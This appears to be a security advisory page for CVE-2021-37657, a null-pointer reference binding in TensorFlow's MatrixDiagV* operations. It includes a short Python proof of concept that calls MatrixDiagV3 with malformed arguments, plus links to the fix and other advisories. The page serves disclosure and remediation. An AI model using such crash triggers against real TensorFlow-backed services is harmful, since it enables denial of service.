CVE-2021-37657: Reference binding to nullptr in `MatrixDiagV*` ops
(updated )
An attacker can cause undefined behavior via binding a reference to null pointer in all operations of type tf.raw_ops.MatrixDiagV*:
import tensorflow as tf
tf.raw_ops.MatrixDiagV3(
diagonal=[1,0],
k=[],
num_rows=[1,2,3],
num_cols=[4,5],
padding_value=[],
align='RIGHT_RIGHT')
References
- github.com/advisories/GHSA-5xwc-mrhx-5g3m
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-570.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-768.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-279.yaml
- github.com/tensorflow/tensorflow
- github.com/tensorflow/tensorflow/commit/f2a673bd34f0d64b8e40a551ac78989d16daad09
- github.com/tensorflow/tensorflow/security/advisories/GHSA-5xwc-mrhx-5g3m
- nvd.nist.gov/vuln/detail/CVE-2021-37657
Code Behaviors & Features
Detect and mitigate CVE-2021-37657 with GitLab Dependency Scanning
Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Dependency Scanning using SBOM also detects vulnerabilities from proprietary advisories that this site does not include. Learn more about Dependency Scanning using SBOM →